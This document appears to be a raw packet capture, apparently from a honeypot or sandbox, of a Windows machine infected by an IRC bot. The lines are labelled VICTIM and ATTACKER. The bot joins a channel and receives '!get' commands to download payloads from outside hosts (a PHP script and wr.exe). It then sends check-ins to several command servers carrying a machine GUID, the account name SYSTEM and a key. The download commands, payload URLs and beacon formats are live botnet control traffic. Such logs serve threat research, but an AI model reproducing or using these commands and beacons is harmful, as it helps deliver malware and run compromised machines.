VICTIM:  	\363\375C\234 
VICTIM:  	NICK sytvfyfoUSER h020500 . . :- 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	:u. PRIVMSG sytvfyfo :!get http:/goasi.cn/ex/a.php:u. PRIVMSG sytvfyfo :!get http:/put.ghura.pl/wr.exe 
VICTIM:  	GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: goasi.cnPragma: no-cache 
ATTACKER:	GET /mega/lgate.php?n=6D05DF620DE704D8 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: lometr.plConnection: Keep-Alive 
ATTACKER:	GET /dll/ma.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: goasi.cnConnection: Keep-Alive 
ATTACKER:	GET /in.cgi?0032 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.upononjob.cnConnection: Keep-Alive 
ATTACKER:	GET /wr.exe HTTP/1.0User-Agent: DownloadHost: put.ghura.plPragma: no-cache 
ATTACKER:	GET /get_frst.php?uid=F07BA028-0C80-1033-0417-060000000001 HTTP/1.0User-Agent: Windows 5.0 (2195); DMCP ver 5Host: dvpjd.wwlax.com 
ATTACKER:	GET /rp.txt?ver=94_4&uid=F07BA028-0C80-1033-0417-060000000001&iam=I&st=Ok HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: bugreport.waverevenue.comConnection: Keep-Alive 
ATTACKER:	GET /gt_ky.php HTTP/1.0User-Agent: Windows 5.0 (2195); DMCP ver 6Host: xul93.pubdomainstr.comPragma: no-cache 
ATTACKER:	GET /gt_bd_93.php?srky=9c4e60ecf5544d6e697b101f3c5faca8&version=94_davM09&GUID=398F11E4B0F222103A8638257AF90CE2C280210F329F39516FF917E3C2832212329B385673B4&un=SYSTEM&cmd=&p=0&tst=Ad,Ad&i=&x=b30&dav=0& HTTP/1.0User-Agent: Windows 5.0 (2195); DMCP ver 6Host: xul93.pubdomainstr.comPragma: no-cache 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	GET /gt_bd_93.php?srky=9c4e60ecf5544d6e697b101f3c5faca8&version=94_davM09&GUID=398F11E4B0F222103A8638257AF90CE2C280210F329F39516FF917E3C2832212329B385673B4&un=SYSTEM&cmd=&p=0&tst=Ad,Ad&i=&x=2r33&dav=0& HTTP/1.0User-Agent: Windows 5.0 (2195); DMCP ver 6Host: xul93.pubdomainstr.comPragma: no-cache 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu